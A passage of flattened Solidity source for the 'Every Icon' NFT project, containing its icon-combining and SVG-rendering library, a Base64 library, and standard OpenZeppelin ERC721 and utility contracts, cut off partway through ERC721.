>=0.8.9 <0.9.0; /// @title Every Icon Contract (Repository Interface) /// @notice A common interface for the 4 Every Icon repositories. interface IEveryIconRepository { function icon(uint256) external view returns (uint256[4] memory); } // SPDX-License-Identifier: UNLICENCED // Implementation Copyright 2021, the author; All rights reserved // // This contract is an on-chain implementation of a concept created and // developed by John F Simon Jr in partnership with e•a•t•works and // @fingerprintsDAO pragma solidity 0.8.10; import "./IEveryIconRepository.sol"; import "@divergencetech/ethier/contracts/random/PRNG.sol"; import "@divergencetech/ethier/contracts/utils/DynamicBuffer.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /// @title Every Icon library /// @author @divergenceharri (@divergence_art) library EveryIconLib { using DynamicBuffer for bytes; using PRNG for PRNG.Source; using Strings for uint256; /// @dev A set of contracts containing base icons from which designs are /// built. Each MUST hold exactly 32 icons, with the first 104 being /// "design" icons and the next 28 being the "random" ones. struct Repository { IEveryIconRepository[4] icons; } /// @notice Returns the i'th "design" icon from the Repository. function designIcon(Repository storage repo, uint256 i) internal view returns (uint256[4] memory) { require(i < 100, "Invalid design icon"); return repo.icons[i / 32].icon(i % 32); } /// @notice Returns the i'th "random" icon from the Repository. function randomIcon(Repository storage repo, uint256 i) internal view returns (uint256[4] memory) { require(i < 28, "Invalid random icon"); return repo.icons[3].icon(i + 4); } /// @dev Masks the block in which an icon was minted to encode it in the /// bottom row of the image. uint256 internal constant MINTING_BLOCK_MASK = 2**32 - 1; /// @notice Constructs icon from parameters, returning a buffer of 1024 bits function startingBits( Repository storage repo, Token memory token, uint256 mintingBlock, uint256 ticks ) internal view returns (uint256[4] memory) { uint256[4] memory di0 = designIcon(repo, token.designIcon0); uint256[4] memory di1 = designIcon(repo, token.designIcon1); uint256[4] memory ri = randomIcon(repo, token.randIcon); uint256[4] memory icon; // Start by combining inputs to get the base token // // The original JavaScript piece, which this contract mimics, inverts // bits for the 'ticking' of the icons. It's easier to correct for this // by inverting all of the incoming values and performing inverted // bitwise operations here, hence the ~((~x & ~y) | ~z) patterns. if (token.combMethod == 0) { for (uint256 i = 0; i < 4; i++) { icon[i] = ~((~di0[i] & ~di1[i]) | ~ri[i]); } } else if (token.combMethod == 1) { for (uint256 i = 0; i < 4; i++) { icon[i] = ~((~di0[i] & ~di1[i]) ^ ~ri[i]); } } else if (token.combMethod == 2) { for (uint256 i = 0; i < 4; i++) { icon[i] = ~((~di0[i] | ~di1[i]) ^ ~ri[i]); } } else { // Although this won't be exposed to collectors, it allows for // testing of individual base icons via a different, inheriting // contract. for (uint256 i = 0; i < 4; i++) { icon[i] = di0[i]; } } // After combining icons, we clear the last row of the image and replace // it with a big-endian representation of the block number in which the // token was minted. We chose big-endian representation (in contrast to // 'ticks') to remain consistent with Solidity's handling of integers mintingBlock = mintingBlock & MINTING_BLOCK_MASK; icon[3] = (icon[3] & (~MINTING_BLOCK_MASK)) | mintingBlock; // Finally, we add 'ticks'. For a starting icon this will be equal to // zero, but the 'peekSVG' function is designed to see how far the icon // would have got based on the assumed iteration rate of 100 ticks per // second. // // This step is complicated by the fact that the icon animation is // effectively little-endian. We therefore need to increment from the // highest bit down. unchecked { // Although all values only ever contain a single bit, they're // defined as uint256 instead of bool to shift without the need for // casting. uint256 a; uint256 b; uint256 sum; // a+b uint256 carry; uint256 mask; // Breaking the loop based on a lack of further carry (instead of // only looping over each word once) allows for overflow should the // icon reach the end. This will never happen (see [1] for an // interesting explanation!), but conceptually it is a core part of // the artwork – otherwise it would be impossible for "every" icon // to be generated! // // [1] Schneider B. Applied Cryptography: Protocols, Algorithms, and // Source Code in C; pp. 157–8. for (uint256 i = 0; ticks + carry > 0; i = (i + 1) % 4) { mask = 1 << 255; for (uint256 j = 0; j < 256 && ticks + carry > 0; j++) { a = ticks & 1; b = (icon[i] >> (255 - j)) & 1; sum = a ^ b ^ carry; icon[i] = (icon[i] & ~mask) | (sum << (255 - j)); carry = a + b + carry >= 2 ? 1 : 0; ticks >>= 1; mask >>= 1; } } } return icon; } /// @notice Metadata defining a token's icon. struct Token { uint8 designIcon0; uint8 designIcon1; uint8 randIcon; uint8 combMethod; } /// @notice Returns a static SVG from a 1024-bit buffer. This is used for thumbnails /// and in the OpenSea listing, before the viewer clicks into the animated version of /// a piece. function renderSVG(uint256[4] memory icon) internal pure returns (bytes memory) { bytes memory svg = DynamicBuffer.allocate(2**16); // 64KB svg.appendSafe( abi.encodePacked( "<svg width='512' height='512' xmlns='http://www.w3.org/2000/svg'>", "<style>", "rect{width:16px;height:16px;stroke-width:1px;stroke:#c4c4c4}", ".b{fill:#000}", ".w{fill:#fff}", "</style>" ) ); uint256 x; uint256 y; bool bit; for (uint256 i = 0; i < 1024; i++) { x = (i % 32) * 16; y = (i / 32) * 16; bit = (icon[i / 256] >> (255 - (i % 256))) & 1 == 1; svg.appendSafe( abi.encodePacked( "<rect x='", x.toString(), "' y='", y.toString(), "' class='", bit ? "b" : "w", "'/>" ) ); } svg.appendSafe("</svg>"); return svg; } /// @notice Returns a random Token for an NFT which has not had its icon set /// by the cut-off point. Deterministically seeded from tokenId and /// mintingBlock. function randomToken(uint256 tokenId, uint256 mintingBlock) public pure returns (Token memory) { PRNG.Source src = PRNG.newSource( keccak256(abi.encodePacked(tokenId, mintingBlock)) ); return EveryIconLib.Token({ designIcon0: uint8(src.readLessThan(100)), designIcon1: uint8(src.readLessThan(100)), randIcon: uint8(src.readLessThan(28)), combMethod: uint8(src.readLessThan(3)) }); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and( input , 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/Math.sol) pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Pausable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); 